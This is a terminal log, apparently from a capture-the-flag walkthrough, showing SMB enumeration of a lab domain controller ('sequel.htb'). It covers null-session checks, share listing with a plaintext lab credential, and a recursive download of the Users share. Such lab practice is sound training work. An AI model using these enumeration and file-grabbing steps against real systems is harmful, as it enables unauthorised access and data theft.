445

❯ netexec smb 10.129.232.128 -u '' -p ''
SMB         10.129.232.128  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.232.128  445    DC01             [+] sequel.htb\:

❯ rpcclient -U '' -N 10.129.232.128
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED

❯ netexec smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB         10.129.232.128  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.232.128  445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.129.232.128  445    DC01             [*] Enumerated shares
SMB         10.129.232.128  445    DC01             Share           Permissions     Remark
SMB         10.129.232.128  445    DC01             -----           -----------     ------
SMB         10.129.232.128  445    DC01             Accounting Department READ
SMB         10.129.232.128  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.232.128  445    DC01             C$                              Default share
SMB         10.129.232.128  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.232.128  445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.232.128  445    DC01             SYSVOL          READ            Logon server share
SMB         10.129.232.128  445    DC01             Users           READ

❯ smbclient -U rose%'KxEPkKe6R8su' //10.129.232.128/Users
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Jun  9 08:42:11 2024
  ..                                 DR        0  Sun Jun  9 08:42:11 2024
  Default                           DHR        0  Sun Jun  9 06:17:29 2024
  desktop.ini                       AHS      174  Sat Sep 15 02:16:48 2018

                6367231 blocks of size 4096. 924756 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget **
getting file \desktop.ini of size 174 as desktop.ini (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \Default\NTUSER.DAT of size 262144 as Default/NTUSER.DAT (437.6 KiloBytes/sec) (average 325.9 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG1 of size 57344 as Default/NTUSER.DAT.LOG1 (32.0 KiloBytes/sec) (average 123.1 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG2 of size 0 as Default/NTUSER.DAT.LOG2 (0.0 KiloBytes/sec) (average 116.7 KiloBytes/sec)
getting file \Default\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf of size 65536 as Default/NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf (159.6 KiloBytes/sec) (average 122.3 KiloBytes/sec)
getting file \Default\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms of size 524288 as Default/NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms (369.7 KiloBytes/sec) (average 199.1 KiloBytes/sec)